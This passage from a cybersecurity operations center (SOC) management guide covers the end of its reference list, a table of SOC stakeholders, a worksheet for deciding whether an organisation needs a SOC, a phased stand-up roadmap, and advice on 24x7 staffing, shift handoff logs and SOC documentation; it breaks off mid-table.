[Accessed 12 Feb 2012]. [303] Ni trosecurity, “Enterprise SIEM - NitroSecurity - Security Information & Event Management,” 2012. [Online]. Available: http:/ /www.nitrosecurity.com/products/enterprise-security-manager/. [Accessed 5 Apr 2012]. [304] B . Keyes, “The Drake Equation,” 2005. [Online]. Available: http://www.activemind. com/Mysterious/Topics/seti/drake_equation.html. [Accessed 14 Feb 2012]. [305] H ewlett-Packard Development Company, L.P., “ArcSight Interactive Discovery,” November 2011. [Online]. Available: http:/ /www.arcsight.com/collateral/ArcSight_Interactive_Discovery.pdf. [Accessed 24 Feb 2012]. [306] E . Fitzgerald, “Windows Security Logging and Other Esoterica,” 2011. [Online]. Available: http://blogs.msdn.com/b/ericfitz/. [Accessed 5 Mar 2012]. [307] E ndace Limited, “Select your DAG card,” 2011. [Online]. Available: http://www. endace.com/compare-dag-card-models.html. [Accessed 13 Feb 2012]. [308] E C-Council, “Certified Ethical Hacker,” 201. [Online]. Available: http://www.eccoun - cil.org/courses/certified_ethical_hacker.aspx. [Accessed 14 Feb 2012]. [309] R . Dawes, “OWASP WebScarab Project,” 18 Jan 2012. [Online]. Available: https:// www.owasp.org/index.php/Category:OWASP_WebScarab_Project. [Accessed 13 Feb 2012]. [310] C arnegie Mellon University, “Capability Maturity Model Integration (CMMI),” 2012. [Online]. Available: http://www.sei.cmu.edu/cmmi/. [Accessed 14 Feb 2012]. [311] B ackTrack Linux, “BackTrack Linux – Penetration Testing Distribution,” 2012. [Online]. Available: http://www.backtrack-linux.org/. [Accessed 13 Feb 2012]. [312] A rcSight, LLC, “Common Event Format,” 2012. [Online]. Available: http://www.arc - sight.com/solutions/solutions-cef/. [Accessed 13 Feb 2012].References T en Strategies of a World-Class Cybersecurity Operations Center277 [313] S . Ali and T. Heriyanto, BackTrack 4: Assuring Security by Penetration Testing, Packt Publishing, 2011. [314] T rend Micro, Inc., “OSSEC v2.6.0 documentation,” 2010. [Online]. Available: http:// www.ossec.net/doc/log_samples/index.html. [Accessed 13 Feb 2014]. [315] J . Ritter, “ngrep - network grep,” 2006. [Online]. Available: http://ngrep.sourceforge. net/download.html. [Accessed 13 Feb 2014]. [316] D epartment of Homeland Security, “Government Forum of Incident Response and Security Teams (GFIRST),” 2014. [Online]. Available: http://www.us-cert.gov/govern - ment-users/collaboration/gfirst. [Accessed 14 Feb 2014]. [317] T he MITRE Corporation, “Threat-Based Defense: A New Cyber Defense Playbook,” Jul 2012. [Online]. Available: http://www.mitre.org/publications/technical-papers/a- new-cyber-defense-playbook. [Accessed 16 Feb 2014]. [318] W ikimedia Foundation, Inc., “Kerberos (protocol),” 11 Feb 2014. [Online]. Available: http://en.wikipedia.org/wiki/Kerberos_%28protocol%29. [Accessed 16 Feb 2014]. [319] E . Fitzgerald, “The Trouble With Logoff Events,” 8 May 2007. [Online]. Available: http://blogs.msdn.com/b/ericfitz/archive/2007/05/08/the-trouble-with-logoff-events.aspx. [Accessed 16 Feb 2014]. [320] R . F. Smith, “The Key Difference between “Account Logon” and “Logon/Logoff” Events in the Windows Security Log,” 20 July 2011. [Online]. Available: http://www.eventtracker.com/newsletters/account-logon-and-logonlogoff/. [Accessed 16 Feb 2014]. 278 Appendix A External Interfaces Regardless of where the SOC resides in relation to the constituency, it interacts with a vari - ety of different entities on a regular basis. Some of these parties can be adjacent to the SOC physically and organizationally; others may be spread throughout the constituency, located down the hall, or on the other side of the world. As a reference to the reader, we provide a baseline set of definitions of who we’re talking about and their respective function as it relates to the SOC. We cite these parties throughout the book. In Table 25 we describe the parties a SOC has regular contact with, whether they are part of the constituency, and how those parties’ roles support or relate to the SOC mission. Note that parties in bold typeface are those with whom a SOC often has the most frequent interaction. Table 25 S OC Touch Points WhoInside or Outside of ConstituencyDescription and Function (as it relates to the SOC) Constituency Chief Executive Officer (CEO)InsideUltimately responsible for constituency mission, delegating key authorities to SOC, will express interest in some of the most severe incidents Chief Information Officer (CIO)InsideOversight over all IT, sometimes including IT security; will request SA and regular status updates from the SOC Chief Information Security Officer (CISO)InsideFocused on full scope of cybersecurity; will want higher fidelity reporting and updates than the CIO; may wish (or actually have) control over what the SOC does Information Systems Security Manager(s) (ISSM)Inside(In government organizations) Responsible for the day-to-day cybersecurity of a portion of the constituency; exerts some con-trol over risk decisions about systems under their purview, particu-larly from an assessment and authorization perspective (if such a process is used) Information Systems Security Officer (ISSO)Inside(In government organizations) Boots-on-the-ground pres-ence across the constituency; responsible for working with users and sysadmins daily; can be instrumental in running incidents to ground and cleanup; plays role in audit review, which may create limited overlap with SOC mission. Some incidents may be handed over to ISSOs, such as routine computer misuse.External Interfaces T en Strategies of a World-Class Cybersecurity Operations Center279 Table 25 S OC Touch Points WhoInside or Outside of ConstituencyDescription and Function (as it relates to the SOC) IT Engineering InsideLarge variety of staff that are responsible for design and develop- ment of systems and networks in the constituency; the SOC must stay on top of what they’re deploying; may influence how networks and systems are instrumented to support intrusion detection CND Engineering InsideIT engineering subgroup specifically responsible for acquiring, engineering, and deploying new SOC tools and upgrades; should be part of the SOC itself Network Ops Cen- ter (NOC)InsideSOC’s counterpart for network operations; can help find tip-offs for intrusions and deploy countermeasures; responsible for main- taining near 100 percent availability of networks and services, sometimes at odds with security IT Help Desk InsideWho to call when something goes wrong with your computer; reg- ular source of incident tip-offs Users InsideNormally, call the help desk when they have an IT problem, but a well-advertised SOC can get direct calls when someone suspects they have a potential incident. Business Unit ExecutiveInsideResponsible for the full-scope mission or business area of large segments of the enterprise, they care when a system goes down or there is a breach of security. System Owner InsideResponsible for a program or line of business containing many IT assets System Administra-tor (sysadmin)InsidePerforms hands-on operation and maintenance of IT assets; when there is an incident, usually the one who can help establish the facts of what happened and rebuild systems; also responsible for assessing the impact of countermeasures that the SOC recom-mends or directs Business Unit Ops CenterInsideSome business or mission areas will have an ops floor; the floor lead will usually have full-scope authority over all of the systems under their purview; if the SOC finds something that impacts the business unit’s mission, the ops director will be one of the major points of contact for information flow, coordination, and response actions. Counterintelligence (CI)Inside/ OutsideSome constituencies have a unit specifically focused on pre-venting and finding threats against the people and mission of the constituency, such as espionage. Some of the most important incidents a SOC will uncover can be CI–related, requiring close coordination between CI and the SOC. CI usually has investigative authorities. 280 Table 25 S OC Touch Points WhoInside or Outside of ConstituencyDescription and Function (as it relates to the SOC) Inspector General (IG)Inside/ Outside(In government organizations) Responsible for finding cases of waste, fraud, and theft, along with general auditing functions; some of the incidents a SOC finds will fall under their purview. IG usually has investigative authorities. Legal Counsel InsideProvides legal advice to executives and members of the constitu- ency. Some incidents found by the SOC will be referred to them. Also consulted to ensure a SOC’s monitoring and data handling practices are legally sound, such as from a privacy perspective. Law Enforcement (LE)OutsideFederal, state, and local badge-wearing, armed crime fighters. Incidents found by a SOC may be referred to various LE authori-ties, if the situation warrants, but usually only after consultation with other legal counsel. Auditors Inside/ OutsideThird-party organizations responsible for reviewing various aspects of constituency finances and IT security controls. Audi-tors will regularly examine documentation and policies pertaining to SOC operations. Blue T eam InsidePerforms full-knowledge assessments of constituency networks and systems, looking for security weaknesses. Sometimes staffed by people who normally work for the constituency organization. SOC should know about details of their assessment activity (such as network scans) in advance. Their results inform monitoring efforts of the SOC. May be based out of the SOC. Red T eam Inside/ OutsidePerforms no-knowledge simulations of an attack against constitu-ency members with specific objectives in mind. Sometimes staffed by people who normally work for the constituency organization. Usually authorized by the chief executive without notification of other parties such as the SOC. Results should inform monitoring efforts of the SOC. Operations may be based out of the SOC. National or Govern-ment-wide SOCOutside (above)Coordinating SOC for an entire nation, its entire government, or some large section of government (such as a branch or large department) whose constituency includes many other SOCs. Typically provides a range of services to member SOCs but may also have some operational authority over them. Their opera-tional directives may consume significant resources of subordinate SOCs. External Interfaces T en Strategies of a World-Class Cybersecurity Operations Center281 Table 25 S OC Touch Points WhoInside or Outside of ConstituencyDescription and Function (as it relates to the SOC) Partner SOCs OutsideSOCs with different constituencies, often in the same area of gov- ernment, business, industry, education, or geographic region. Seen as a peer and “brother in arms,” can be invaluable resource for heads-up on vulnerabilities, adversary TTPs, best practices, and tools. Leveraging these connections can help a SOC progress by leaps and bounds. The SOC must coordinate its operations with many of these groups on a daily, weekly, or monthly basis, especially in response to incidents. Nurturing strong relationships helps a SOC execute its mission, especially when it may be lacking authorities or resources. On the other hand, many of these parties assert their own opinion when an incident occurs, which invariably presents as many challenges as it does opportunities. As a result, many SOCs find themselves in the middle of a political vortex—they must balance resources between coordinating with external parties and executing the CND mission. 282 Appendix B Do We Need Our Own SOC? Not every constituency needs its own incident response team. This need must be evalu - ated against a number of factors, including constituency size and IT budget. If a freestand - ing SOC isn’t warranted, such as the case for small businesses [286] , other options such as outsourcing may be an option. In this section, we evaluate factors that impact whether a constituency needs its own SOC, and discuss options for those that don’t. B. 1 A ssessing the Constituency There is no industry-standard guideline for knowing whether to in-source incident detec - tion and response. Therefore, we have come up with one as a starting point. In the follow - ing section, we have a worksheet (See Table 26.) that will help determine whether a given constituency can support a SOC or whether the constituency should pursue CND services from an external entity. Consider the qualities of the constituency when filling out the worksheet. For ques - tions 1–7, if the answer is “yes,” give yourself one point; if not, zero points. At the second line from the bottom of the table, enter the number of thousands of hosts in your constitu - ency. Multiply the number of thousands of hosts by the points subtotal, giving the total number of points at the very bottom. As a general guideline—and this is where different experts on SOCs may have differ - ing opinions—we pick a rough threshold of 15. Organizations scoring well above 15 are more likely to warrant a SOC. Those that score well under 15 may be better served by an ad hoc security team model or outsourced monitoring. An organization that scores right around 15 may look to other factors such as resourcing or organizational risk tolerance. Additionally, an organization’s score is a loose indicator of the size and resources its SOC should have. In other words, an organization with a score of 200 probably needs a bigger SOC than an organization with a score of 20. Let’s consider two example organizations, score them, and examine the results. (See Tables 27 and 28.) Big Toy Manufacturing, Inc. doesn’t have a very large enterprise, its IT budget isn’t very large, and it doesn’t have a lot of risk factors that increased its score. Nonetheless, 2,000 hosts is not insignificant. With a score of 6, it doesn’t fall into the range that strongly suggests a dedicated SOC. Either an ad hoc/decentralized SOC composed of members of its IT staff or outsourcing its CND needs to an MSSP might be appropriate. It probably won’t Do We Need Our Own SOC? T en Strategies of a World-Class Cybersecurity Operations Center283 need a large tool infrastructure, but a handful of a small log collection appliances and some host configuration monitoring tools might make sense. Big Government Agency has a substantial enterprise with 20,000 hosts. While it doesn’t directly deal with the public, it is the custodian of sensitive data that is owned by other entities. If there were breach of its systems, there’s a good chance it would end up in the newspaper. As a result, with 80 points, it seems pretty clear it needs a SOC with a dedicated team of analysts and monitoring tools. B.2 Outsourcing If our score was less than 15 (or so), would the constituency warrant a standing SOC? In this case, we have a few options:Table 26 Scoring the Need for a SOC Item What Answer Points 1Give yourself 1 free point because you will have an incident at some point in time.1 2Has your constituency detected an incident that had a measurable impact on the mission or came at a significant cost within the last six months? 3Is there a perception that your constituency faces a targeted exter - nal cyber threat beyond the normal Internet-based opportunists such as script kiddies? 4Does your constituency serve a high-risk or high-value business or mission and is that mission heavily dependent on IT, such as finance, healthcare, energy production, or military? 5Does your constituency offer IT services to directly connected third parties in a B2B, B2G, or G2G fashion? 6Does your constituency serve sensitive or privacy-related data to untrusted third parties through some sort of public-facing portal such as a Web application? 7Does your constituency retain sensitive data provided or owned by a third party, such that the constituency faces significant liability if that data is stolen or lost? Subtotal How many thousands of hosts are in your constituency? Multiply the subtotal by the number of thousands of hosts in your constituency. This is your total. 284 1. I f the constituency is part of a larger organization such as a government agency, business conglomerate, or large multicampus university, CND could be taken care of by the SOC for the parent organization. With large departments structured into subordinate bureaus, agencies, or offices, this often makes a lot of sense. This could be viewed as a form of outsourcing, but, in some cases, no money will change hands because of existing organizational and budgetary relationships. 2. I ntegrate security operations into an existing organization such as IT operations or a NOC (if one exists) or, perhaps, under the CIO. In this arrangement, we follow the security team model from Section 2.3.2 , where there is no standing independent CND capability. Obviously, in this model, there is a significant risk that incidents will go unnoticed, or that if they are noted, they will not be dealt with in the most efficient, effective, or comprehensive manner. 3. O utsource CND to an MSSP. In this arrangement, the constituency pays a third party to monitor its enterprise, provide incident response, and, possibly, take on other services from Section 2.4 , such as vulnerability assessments. Although we have a dedicated team of CND professionals, they are probably not tuned into the mission and internals of the constituency because they are neither part of, nor Do We Need Our Own SOC? Table 27 E xample #1: Big Toy Manufacturing, Inc Item Explanation Answer Points 1Give yourself 1 free point because you will have an inci- dent at some point in time.1 2We just had to clean up a major botnet infection from hundreds of our Intranet hosts. It took us weeks to clean it up.Yes 1 3 None that we’re aware of. No 0 4No, all our production is done in Taiwan by third parties; we design toys, test them for safety, and handle sales.No 0 5 No. No 0 6 No. No 0 7We also design toys and toy parts for other companies. They give us their designs before they’re launched, which are considered trade secrets.Yes 1 Subtotal We have roughly 2,000 IPs in our enterprise. 3 * 2 = 6. 6 T en Strategies of a World-Class Cybersecurity Operations Center285 Table 28 Example #2: Big Government Agency Item Explanation Answer Points 1Give yourself 1 free point because you will have an incident at some point in time.1 2 We’re not aware of any major incidents as of late. No 0 3We’re not sure, but no one has done a serious threat assessment of our mission as it relates to IT and cyber.No 0 4If our systems go down, our ability to process paperwork and keep our employees productive grinds to a halt .Yes 1 5Yes, we have several services that are directly tied into other government agencies.Yes 1 6No, we don’t have a major Web presence other than a generic website that says who we are and what we do.No 0 7Yes, we share sensitive data about our citizens with other government agencies regularly through our databases.Yes 1 Subtotal 4 We have roughly 20,000 IPs in our enterprise 20,000 20 4 * 20 = 80. 80 located near, the constituency. While their CND skill set and focus may be strong, their response time, their ability to influence policy, and insight into the mission may suffer compared to the ideal situation. 4. H ire a contractor who specializes in CND solutions to operate a SOC in-house. In this scenario, the SOC ops floor is located in the constituency’s physical space but is staffed 100 percent by a third-party contractor. This arrangement has most of the pros and cons of the MSSP model, but it is somewhat muted compared to full-blown outsourcing (at potentially higher cost). Careful attention must be paid to defining a good contract, addressing issues such as cost model, personnel vetting, and technol - ogy investment decisions. In-house contracting tends to suffer from political friction between the SOC contractors and other stakeholders in IT ops, especially if they’re on separate contracts, and because the SOC contractors often lack authorities to prevent or respond to incidents on their own initiative. For more information on outsourcing to an MSSP, see [287] . 286 Appendix C How Do We Get Started? If we have established the need for a SOC, the next logical question is, “How do we stand up a new SOC?” When we stand up a new capability, various priorities compete for our time and energy. The purpose of this section is to sort these priorities into different phases of SOC creation and growth, introducing many of the topics covered throughout the ten strate - gies. For more information on standing up a SOC, see [288] and Chapter 2 of [15] . Before we discuss the roadmap to standing up a SOC, here are some tips for success. Every SOC is different, so the timelines and order of priorities will differ; the following serves as a starting point and presents an ideal timeline for SOC stand-up: ‚Ensure expectations and authorities of the SOC are well-defined and recognized from the start, especially from those in the SOC’s management chain. ‚Do a few things well rather than many things poorly; shun activities that can be eas - ily or better performed by other organizations. ‚Beg, borrow, or steal as much as possible: • Assimilate existing CND or CND-like capabilities into the SOC. • Leverage existing technologies, resources, and budget to help get started. • Don’t let the initial influx of resources detract from the importance of a permanent budget line for people, capital improvements, and technology recap. ‚Focus on technologies that match the threat and environment and act as a force multi - plier; avoid getting caught up in “technology for its own sake”; extract the maximum amount of value from a modest set of tools. ‚Having a flashy, well-organized ops floor isn’t just for the analysts—it also keeps money flowing from IT executives. Having an advanced SOC is a point of pride for many seniors, and this starts with what they see when they walk onto the ops floor. ‚Enable the rock-star analysts to lead all aspects of the SOC in a forward direction through continual improvements to processes and automation. ‚Ensure strong quality control of what leaves the SOC from day one. Gaining trust and credibility is a big challenge, considering that rookie mistakes can easily undermine progress and stakeholder trust. ‚Tune into the constituency mission, in terms of monitoring focus and response actions. ‚Ensure each aspect of the SOC is given due attention. Start with a careful selection of the best people the SOC can attract, given budgetary constraints. In Figure 32, we summarize the triad of CND that is of keen interest to new SOCs.How Do We Get Started? T en Strategies of a World-Class Cybersecurity Operations Center287 C.1 F ounding: 0 to 6 Months In the beginning, there was no SOC—most likely, only pockets of CND being practiced across the constituency and a desire by seniors to “keep us out of the newspaper” or “defend the mission.” From the time the decision is made to create a SOC, we have the fol - lowing initial priorities: ‚Form the team that will begin constructing the SOC, including its ops floor. Base this on existing experts in cybersecurity and CND, possibly along with the first hires to the SOC or outside consultants. ‚Define the constituency. ‚Ensure upper management support. ‚Solicit input on which problems the SOC should solve and which capabilities are needed from constituency seniors. ‚Write the SOC charter; get it signed by the constituency CEO or CIO. ‚Collect CND best practices from literature and other SOCs. ‚Secure funding for people and technology, based on a rough order of magnitude budget. ‚Select a team organizational model ( Section 4.1.1 ). ‚Find the right place for the SOC in the constituency org chart ( Section 5.1 ).Effective organizational placement Consolidation of CND functionsAuthority, recognition of swim lanesRepeatability tempered with agilityMix of modern FOSS & COTSData fusion from across constituency Maintain parity with threatRelevancy to IT assets, missionPeople Process TechnologyDiverse, deep experience in IT, offense & defense Out-of-the-box thinking like the adversaryUnderstands constituency mission, networks Trust, credibility, st rong stakeholder connections Quality >> Quantity Figure 32 Pe ople, Process, Technology CND Enablers 288 ‚If possible, begin the hiring process ( Sec t ion 7.1 and Sec t ion 7.2 ), especially for lead analysts and engineers who can support the initial build-out of the SOC. ‚Find a place for the SOC ops floor ( Section 4.3 ) and begin its build-out. ‚Find a place for the SOC systems ( Section 4.3.2 ) that is physically near the ops floor or can be effectively managed remotely with little “touch” labor. ‚Identify existing people and tools that could be brought into the SOC. C.2 B uild-Out: 6 to 12 Months We hope to have some time between when a call is made for the creation of a SOC and when it is expected to assume sustained operations. During this time, our priorities are to formulate a detailed vision of full capability and focus on building toward that goal. After six months we should have a small team dedicated to standing up the SOC, allowing us to build a lot of our initial capabilities. ‚Write and socialize the SOC CONOPS. ‚Determine the initial team org chart ( Section 4.2 ). ‚Determine which capabilities to offer, at least initially ( Section 6 ), working with con - stituents to identify areas where the SOC can provide the most added value. ‚Make (or maintain) contact with other SOCs (either those that are operationally superior or those that are seen as peers) in similar areas of government, education, commerce, or geographic region. ‚Build requirements for, evaluate, acquire, and pilot essential monitoring capabilities (Section 8.2 , Section 8.3 ). ‚Deploy a pilot monitoring package at a few enclaves or network perimeters physically close to SOC, thereby giving the first hires an initial monitoring capability to focus on. ‚Build requirements for, evaluate, and deploy initial data aggregation and analytic capabilities such as an LM appliance or SIEM ( Section 8.4 ). ‚Begin hiring staff in large numbers, aiming for 50 percent capacity in the 6- to 12-month window. ‚Perform the majority of the build-out of the SOC enclave ( Section 10.2 ) and the ops floor. ‚Integrate existing CND or CND-like technologies, processes, and personnel into the SOC, such as existing log collection or vulnerability scanning. C.3 I nitial Operating Capability: 12–18 Months If ops floor construction and tool acquisition have proceeded according to plan, we should now have at least a part of the physical space ready for operations. In addition, members of How Do We Get Started? T en Strategies of a World-Class Cybersecurity Operations Center289 the SOC team should now be showing up for duty. We can now legitimately begin opera - tions, at least in an ad hoc manner. Then: ‚Finish hiring staff in large numbers, aiming for 90 percent capacity in the 12- to 18-month window. ‚Leverage newly acquired tools and ops floor space to begin creating a monitoring and analysis framework, ensuring that key information and tools are at the analysts’ fingertips ( Appendix F ). ‚Begin development of SOC SOPs and notional ops tempo ( Appendix D ). ‚Begin development and socialization of lower level authorities ( Section 5.1 ). ‚Begin regular analyst consumption and fusion of cyber intel into monitoring systems (Section 11.7 ), supporting an initial SA capability. ‚Identify and recruit TAs at remote sites, if appropriate ( Section 4.3.4 ). ‚Deploy production sensor capabilities to the initial set of monitoring points (Section 9.1 ). ‚If capability doesn’t already exist, begin gathering log data; if it does, ensure feeds critical to CND are part of the mix ( Section 9.2 ). ‚Begin advertising the SOC, including establishment of a SOC Web presence. ‚Establish an incident tracking/case management capability ( Section 12.2 ). ‚Begin sustained detection, analysis, and response operations ( Section 12.1 ). C.4 F ull Operating Capability: 18 Months and More Each SOC has its own definition of full operating capacity (FOC), but generally speaking, at this stage, we should see the SOC rise to the full scope of the mission. Whereas, in the beginning of operations, many tasks were performed in an ad hoc manner, we should now transition the SOC into a sustainable ops tempo, consistent with a growing set of SOPs. ‚If necessary and not already established, expand working hours (possibly to 24x7 operations) ( Appendix D ). ‚Establish practices to maximize quality staff retention and growth ( Sec t ion 7.2 ). ‚Demonstrate the value added to constituency mission by SOC’s handling of cyber incidents. ‚Solicit feedback from constituents. ‚Adjust operations procedures and capabilities as necessary, given the deltas between the initial vision of the SOC and the operational, resourcing, and policy realities. ‚Deploy monitoring capabilities to an expanded set of monitoring points as appropriate. ‚Expand log collection and analytics. ‚Build up data filtering, correlation, triage, and analysis automation techniques. 290 ‚Expand SOC influence into areas of policy, user awareness, and training, if appropriate. ‚Establish regular sharing of cyber intel and tippers with partner SOCs and SA with constituents. ‚Consider measuring SOC effectiveness against a holistic metrics program (See [289] .) and annual or semiannual Red Team exercises. Even though a SOC has achieved its FOC, it will almost certainly take a bit longer for it to become fully “mature,” since its mission and ops tempo are always changing. In Appendix G we cover the characteristics of a healthy, mature SOC. How Do We Get Started? T en Strategies of a World-Class Cybersecurity Operations Center291 Appendix D Should the SOC Go 24x7? The adversary works 24x7. Should the SOC as well? In order to answer this question, we must carefully examine the scope of the SOC’s mission, its staffing resources, and the daily/weekly patterns of activity across the constituency. For many SOCs, going 24x7 isn’t an all-or-nothing decision. Many SOCs that keep a 24x7 watch, staff only Tier 1 around the clock—most other functions are performed during regular business hours and on an on-call basis. Some SOCs maintain a 12x5 watch with eight-hour skeleton staffing on weekends. Some of the largest SOCs staff all branches 24x7, with the bulk of the resources present during regular business hours (e.g., with asymmet - ric staffing). Finally, some SOCs that have multiple ops floors will stagger shifts between them—as in follow the sun or backup/contingency ops floors in disparate time zones, although this is less common. Finding the right staffing plan can be a challenge; the plan depends on a number of considerations, including: ‚What is the size of the constituency and what are its normal business hours? Does its user population have after-hours access to IT resources? ‚Does the constituency’s mission encompass 24x7 operations that depend on IT, which, if interrupted, would significantly imperil revenue or life? ‚How big is the SOC’s staff pool? Are there only four people, or is it funded to support a team of 50 or more analysts? ‚Is there a specific set of targeted or advanced threats against the constituency that suggests intrusion activity is likely to happen outside of normal business hours? ‚Have members of the SOC come in after hours to handle an incident, or have they dis - covered an incident outside SOC duty hours that could have been prevented if some - one were there to catch it? Has this happened several times? ‚If an attack occurred during off hours and there was an analyst there to notice it, are there resources outside the SOC that could stage a meaningful response before the following business day? ‚Is the host facility open 24x7? If not, can the SOC be granted an exception? There is a potential stigma associated with not keeping the lights on all the time. Some SOCs are considered a legitimate ops center only if they function 24x7. Moreover, a SOC that isn’t 24x7 must catch up every morning on the previous night’s raft of event data; for those that don’t staff on the weekends, this is especially challenging on Monday. 292 Given that, let’s take a look at some of the realities that come with around-the-clock staffing: ‚24x7 SOCs must maintain a minimum staff of two analysts at all times: • Two-person integrity is a best practice in monitoring since having only one person there with access to a lot of sensitive data and systems can present problems, no matter how well-vetted the employees. • There are logistical and safety concerns with keeping the floor staffed and secured when someone needs to leave the room. • With multiple analysts always on shift, they can cross-check each other’s work. • Being the sole person on shift can be very lonely and monotonous. ‚Each 24x7 seat requires roughly five FTEs, including fill-in for vacation and sick leave. • This is very expensive compared to 8x5, 12x5, or even 12x7 staffing. • Assuming a minimum of two filled analyst seats, that means roughly 10 FTEs. • Therefore, taking a SOC from 8x5 to 24x7 requires an increase of at least eight FTEs just for Tier 1. ‚Despite two-person minimum staffing, it’s easy for unattended analysts on nights to spend more time watching TV and browsing social media sites than analyzing. • This is a common occurrence, especially when the ops floor is physically isolated. • It is important to have regular deliverables/work output from those on night shift and regular feedback regarding what happened during the day. • Because night-shift staff have far fewer interruptions, it may sometimes be effective to give them unique tasks that require several hours of focused work, such as in-depth trending or cyber intel analysis. • Collocating the SOC ops floor with a NOC ops floor may help, especially with loneli - ness and management supervision. ‚Because analysts on night shift almost universally feel underinformed and unrecog - nized, the feeling of “out of sight, out of mind” can crop up. • Casual information sharing occurs less when only a few positions are staffed. • The night shift does not see the fruits of their labor as much because detailed analysis, response, and feedback usually occur during normal business hours. • These issues can be largely offset by rotating staff between days and nights every three to four months and by keeping a lead analyst on staff during the night. As we alluded to above, there are multiple options for expanded staffing that don’t incur the full cost of going 24x7: ‚Staff only certain portions of the SOC 24x7, such as Tier 1; leave other sections with a designated “on-call” pager or cell phone.Should the SOC Go 24x7? T en Strategies of a World-Class Cybersecurity Operations Center293 ‚12x5. Expand operations beyond 8x5 so that there are SOC analysts on shift during the bulk of time that constituents are logged in, such as 6 a.m. to 6 p.m., assuming that the constituency resides primarily in one or just a few adjacent time zones. ‚12x5 plus 8x2. Add one shift (8 or 12 hours) of two or three analysts during week - ends. This eliminates the problem of clearing a weekend’s worth of priority alerts on Monday and provides coverage if the constituency performs business operations on weekends. ‚Outsource. If the SOC follows a tiered organizational model, it could, during off hours, hand off operations to the parent coordinating SOC or sister SOC—assuming they are 24x7, can easily access the SOC’s monitoring systems or data feeds, and are able to familiarize themselves with the SOC’s constituency mission and networks. During each shift, watch-floor analysts may be encouraged to keep track of important pieces of information in a master station log (e.g., phone calls, interesting events, visi - tors to the SOC, or anything else out of the ordinary). This log can be instrumental in reconstructing timelines of events, enforcing accountability, and demonstrating SOC due diligence. At the end of each shift, the leaving team will perform what is often referred to as shift passdown or shift handoff , whereby the outgoing team briefs the incoming team on various issues of note seen during their shift. It is a good practice to use both the master station log and a passdown log to formally document this information handoff. Again, the purpose of this process is to enforce continuity of ops, support nonrepudiation and accountability of the floor staff’s actions, and serve as a historical record. In non-24-hour environments, this passdown log should probably still be maintained, although any sort of person-to-person handoff will need to work differently due to non-con - tinuous staffing. Regardless of the staffing model, here’s what can go in the passdown log: ‚Names of SOC operations staff on duty ‚Issues passed down from the previous shift, especially those mentioned verbally and not captured in the previous passdown log ‚Case IDs opened and closed during the shift ‚Tips and referrals from other parties such as the help desk or users ‚Any issues escalated to parties outside the SOC ‚Sensor or equipment outages seen ‚Any sort of anomalous activity seen, especially if it has not yet spawned a case ‚Any anomalous activity that was seen that requires the incoming shift to continue analysis or escalation procedures ‚A check-off of duties that the team was required to accomplish 294 ‚Details on any tasks assigned to the shift that were not completed or need further attention ‚Anything else of significance that was encountered during shift that isn’t covered in the SOC’s SOPs. It is best to have a standard passdown log template that each shift uses, which is usually filled out by the shift lead or team lead on duty. While the log may be captured electronically, it is important to print the log and have all analysts on the outgoing team and the incoming shift lead sign it before the outgoing team leaves for the day. This is key to maintaining accountability for what was done and ensure that nothing is dropped.Should the SOC Go 24x7? T en Strategies of a World-Class Cybersecurity Operations Center295 Appendix E What Documents Should the SOC Maintain? The SOC lives in the middle of a political vortex; meanwhile, it must maintain consistency in operations and cope with high turnover. One of the best ways of dealing with these realities is to maintain documentation describing various aspects of the SOC’s mission and operations. This is especially handy when additional scrutiny is focused on the SOC or when new employees must be trained. Table 29 lists each of these documents—what they are, what they say, and why the SOC needs them. SOC leadership should evaluate its own mission needs against this potential document library and consider how often it needs to revise each—some every two to three years; others, maybe monthly. Table 29 D ocument Library What What It Says Why You Need It Charter AuthorityThe scope of the SOC’s mission and responsibilities and the responsibilities of other groups with respect to CND, signed by the chief executive of the constituencyAlways keep this handy. While most groups cooperate willingly, sometimes the SOC must wield its authorities in order for others to support incident response or prevention. Additional AuthoritiesDetailed authorities and clarification about SOC mission and touch points that fall outside the charter. It fills in certain details that the charter leaves out (e.g., what the SOC can do in response to or prevention of an incident) or describes additional capabilities taken on after the charter was signed. Can be signed by someone in the SOC’s management chain. Same reason as the charter—these will clarify what the SOC can and should do and what other orgs are obligated to do in helping the SOC. Good examples include incident escalation and swim lanes. See Section 5.1. Mission and VisionTwo crisp statements/slogans saying what the SOC does and what it is aiming for in the futureHelps orient members of the SOC toward a common set of objectives and, in just a few sentences, helps external parties understand what the SOC does 296 Table 29 D ocument Library What What It Says Why You Need It CONOPSCovers not only the what and why of the SOC mission, but also the how and who. This includes the roles and responsibili-ties of each of the SOC’s sections, the technologies it uses, and its ops tempo, inputs, and outputs. While it may articu-late escalation flowcharts for major inci-dents, it does not get down to minute details of specific checklists.Essentially the one-stop show for members of the SOC to understand how the SOC functions, without neces-sarily covering incident or job specif - ics. Some SOCs choose to split this document into two pieces: one part for internal consumption and another for reference by other parties. Shift Schedule and On-Call RosterThe shift schedule for the SOC, at least two weeks into the future, including who will be on each shift position and who from each section is the designated “on call” person for times of the day or week that that section is not mannedSo staff knows who their relief will be and whom to call if they have questions about what happened on the previous shift Incoming Incident Reporting Form Constituents fill this out when report - ing an incident to the SOC. It captures all incident details the submitter is able to capture—who/what/when/where—what systems were involved, symptoms were observed, time/date, and whom to call for follow- up. This form should be available on the SOC website. See Appendix E of [3] for examples.Provides a consistent means for the constituency (users, help desk, sysad-mins, ISSOs, etc.) to report potential incidents to the SOC Incoming Tip-Han-dling SOPInstructions for handling incoming inci-dent tips: what data to capture, what to do next, whom to call, thresholds for fur - ther escalation, and the like Ensures the right information is cap-tured and correctly escalated. Tier 1 should closely follow this SOP every day; it ensures Tier 2 can respond effectively. Escalation SOPSets thresholds and escalation paths for whom Tier 2 passes incidents to (secu-rity, LE, CIO, etc.). May be released to the constituency so everyone can under - stand who the SOC calls and under what circumstances.Members of the constituency are very sensitive to who gets to know about which incidents and when. This ensures everyone knows who gets which inci-dents at what threshold. Shift Passdown FormDefines what information must be cap-tured by the incoming and outgoing shift. In non-24x7 shops, this is often used, even though there is no “handoff” from one day to the next. Ensures nothing gets dropped and major events are recorded; enforces accountability. See Appendix D for more details.What Documents Should the SOC Maintain? T en Strategies of a World-Class Cybersecurity Operations Center297 Table 29 D ocument Library What What It Says Why You Need It Artifact-Handling ProcessDefines the process and steps SOC members must follow in accepting, col-lecting, storing, handling, and releasing digital and physical artifacts. May refer - ence other legal guidelines for evidence handling. This document should prob-ably be reviewed by legal counsel before approval.Ensures that the SOC’s hard work stands up in court, in the event an inci-dent leads to legal action. Monitoring ArchitectureArticulates the details on where (logi-cally or physically) the SOC’s monitor - ing capabilities are located and how that data (PCAP, events, logs, etc.) is collected and stored. Should depict a detailed path from the end network all the way to the 